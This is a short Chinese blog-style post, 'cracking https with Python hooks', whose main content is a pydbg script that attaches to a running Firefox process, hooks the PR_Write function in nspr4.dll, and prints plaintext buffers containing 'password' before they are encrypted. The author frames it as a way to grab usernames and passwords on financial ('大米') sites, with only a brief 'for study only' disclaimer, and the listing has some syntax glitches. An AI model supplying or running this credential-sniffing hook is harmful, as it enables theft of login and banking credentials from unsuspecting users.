利用Python的hook技术破解https


相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

  1. #!/ur/bin/env python 
  2. from pydbg import * 
  3. from pydbg.defines import * 
  4.  
  5. import utils 
  6. import sys 
  7.  
  8. dbg = pydbg() 
  9. found_firefox = False 
  10.  
  11. pattern = "password" 
  12.  
  13.  
  14. def ssl_sniff( dbg, args ): 
  15.     buffer = "" 
  16.     offset = 0 
  17.     while 1
  18.         byte = dbg.read_process_memory( args[1] + offset, 1 ) 
  19.         if byte != "\x00"
  20.             buffer += byte 
  21.             offset += 1 
  22.             continue 
  23.         else
  24.             break 
  25.     if pattern in buffer: 
  26.         print "Pre-Encrypted: %s" % buffer 
  27.     return DBG_CONTINUE 
  28. # 寻找firefox.exe的进程 
  29. for (pid, name) in dbg.enumerate_processes(): 
  30.     if name.lower() == "firefox.exe"
  31.         found_firefox = True 
  32.         hooks = utils.hook_container() 
  33.         dbg.attach(pid) 
  34.         print "[*] Attaching to firefox.exe with PID: %d" % pid 
  35. # 得到firefox的hook的 address 
  36.         hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write"
  37.         if hook_address: 
  38. # 添加hook的内容,包括他的pid,地址,嗅探类型
  39.  
  40.             hooks.add( dbg, hook_address, 2, ssl_sniff, None ) 
  41.             print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address 
  42.             break 
  43.         else
  44.             print "[*] Error: Couldn't resolve hook address." 
  45.             sys.exit(-1
  46.         if found_firefox: 
  47.             print "[*] Hooks set, continuing process." 
  48.             dbg.run() 
  49.         else
  50.                 print "[*] Error: Couldn't find the firefox.exe process." 
  51.                 sys.exit(-1
  52.                  
  53. if found_firefox: 
  54.     print "[*] Hooks set, continuing process." 
  55.     dbg.run() 
  56. else
  57.     print "[*] Error: Couldn't find the firefox.exe process." 
  58.     sys.exit(-1

相关内容